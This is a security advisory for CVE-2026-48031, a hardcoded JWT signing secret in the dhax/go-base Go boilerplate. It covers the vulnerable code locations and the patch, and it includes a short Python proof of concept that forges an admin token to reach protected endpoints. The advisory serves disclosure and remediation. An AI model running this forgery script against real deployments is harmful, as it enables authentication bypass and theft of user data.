CVE-2026-48031 — Vulnerability in github.com/dhax/go-base — CVE...
CRITICAL
Go Restful API Boilerplate: Hardcoded JWT Secret "random" Allows Token Forgery
Published June 10, 2026Updated June 25, 2026Source: osv
Summary
## Vulnerability: CWE-798 — Hardcoded JWT Secret + Broken Mitigation
### Affected Component
- `github.com/dhax/go-base` — Go REST API boilerplate (go-chi/jwtauth/v5, Viper, PostgreSQL/Bun)
- 1,685 stars on GitHub
### Vulnerability Locations
| File | Line | Role |
|------|------|------|
| `dev.env` | 10 | `AUTH_JWT_SECRET=random` — template default shipped to all users |
| `cmd/serve.go` | 35 | `viper.SetDefault("auth_jwt_secret", "random")` — code-level fallback |
| `auth/jwt/tokenauth.go` | 22-25 | Weak mitigation: only checked literal `"random"`, auto-generated non-persistent key |
| `auth/jwt/tokenauth.go` | 28 | `jwtauth.New("HS256", []byte(secret), nil)` — creates JWT signer with the weak key |
| `pwdless/api.go` | 203 | `GenTokenPair()` — issues access + refresh tokens signed with the weak key |
### Data Flow
```
dev.env AUTH_JWT_SECRET=random
OR
cmd/serve.go viper.SetDefault("auth_jwt_secret", "random")
│
▼
auth/jwt/tokenauth.go: viper.GetString("auth_jwt_secret")
│
▼
auth/jwt/tokenauth.go: jwtauth.New("HS256", []byte(secret), nil)
│
▼
pwdless/api.go: GenTokenPair() → access + refresh tokens
│
▼
jwt/authenticator.go: Every authenticated request trusts the forged token
```
### Description
The JWT signing secret is hardcoded to the string `"random"` in **two independent locations**:
1. **`dev.env:10`** — The template `.env` file sets `AUTH_JWT_SECRET=random`. Every developer who copies this template gets the same default.
2. **`cmd/serve.go:35`** — `viper.SetDefault("auth_jwt_secret", "random")` provides a programmatic fallback. Even if the `.env` file is missing entirely, the application silently starts with `"random"` as the signing key.
The original code contained a mitigation in `auth/jwt/tokenauth.go:22-25` that checked if the secret equaled `"random"` and replaced it with a randomly-generated 32-byte string. This mitigation had **two fatal flaws**:
- **(a) Single-value check**: Only the exact string `"random"` was caught. Any other weak secret (e.g., `"secret"`, `"changeme"`, empty string) passed through unchecked.
- **(b) Non-persistent replacement**: The auto-generated key was stored only in memory (`randStringBytes(32)`), not persisted. On **every restart**, all existing tokens became invalid without warning, breaking all active user sessions. This made the "fix" itself a denial-of-service.
An attacker who reads the public repository knows the signing key is `"random"`. They can forge JWT tokens for arbitrary users (including admin roles), gaining complete authentication bypass on all protected API endpoints.
### Proof of Concept
```python
import jwt
import requests
# The hardcoded secret from dev.env / serve.go (public repository)
SECRET = "random"
BASE_URL = "http://target:3000"
# Step 1: Forge an admin JWT token
payload = {
"sub": "admin@example.com",
"roles": ["admin"],
"iat": 9999999000,
"exp": 9999999999
}
forged_token = jwt.encode(payload, SECRET, algorithm="HS256")
# Step 2: Access any protected endpoint with the forged token
headers = {"Authorization": f"Bearer {forged_token}"}
# List all users (requires admin)
r = requests.get(f"{BASE_URL}/api/v1/admin/users", headers=headers)
print(f"Status: {r.status_code}") # 200 OK
# Access own profile with forged identity
r = requests.get(f"{BASE_URL}/api/v1/me", headers=headers)
print(f"Profile: {r.json()}") # Returns admin@example.com profile
# The forged token is also accepted by refresh endpoints
r = requests.post(f"{BASE_URL}/api/v1/token/refresh", headers=headers)
# Returns a new valid token signed with the same "random" secret
```
### Impact
- **Authentication Bypass**: Forge tokens for any user, including admin roles
- **Confidentiality**: Access all user data, profiles, and protected resources
- **Integrity**: Modify any data accessible via the API
- **Persistence**: Forged tokens remain valid until expiry (or indefinitely via refresh)
### Fix (PR #31)
The fix replaced the single-value check with a comprehensive approach:
```go
// BEFORE (tokenauth.go:22-25) — weak, single-value check
if secret == "random" {
secret = randStringBytes(32) // non-persistent, breaks on restart
}
// AFTER — comprehensive known-weak-secrets map
var knownWeakSecrets = map[string]bool{
"random": true,
"secret": true,
"changeme": true,
"change-me": true,
"default": true,
"": true,
}
if knownWeakSecrets[secret] {
log.Fatal("JWT secret is a known weak value. Please set a strong AUTH_JWT_SECRET.")
}
```
Plus: minimum 32-character length check, removal of non-persistent auto-generation, and clear generation instructions (`openssl rand -base64 32`) in the template.
### Patched Versions
- All versions after commit range including PR#31 (merged May 17, 2026).
- Users should update to the latest master, regenerate their JWT secret, and restart.
### Resources
- Fix PR: https://github.com/dhax/go-base/pull/31
- Commit history: https://github.com/dhax/go-base/commits/master
### Credit
Reported by @saaa99999999 via manual security audit.
Advisory Timeline
First published June 10, 2026 (124 days ago).
Last revised June 25, 2026 — 15 days after initial publication.
Remediation
Upgrade to the fixed version using your package manager.
Go
Update github.com/dhax/go-base to 0.0.0-20260517152733-cc82b9740fa6 or later
go get github.com/dhax/go-base@v0.0.0-20260517152733-cc82b9740fa6
After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.
Go Restful API Boilerplate: Hardcoded JWT Secret "random" Allows Token Forgery This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.1/10).
How do I check if my project is affected by CVE-2026-48031?
CVE-2026-48031 affects github.com/dhax/go-base. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-48031 and 200,000+ other known vulnerabilities.
Severity & Exploitability
CVSS Score
9.1
Exploitation is straightforward and causes maximum impact. Patch immediately.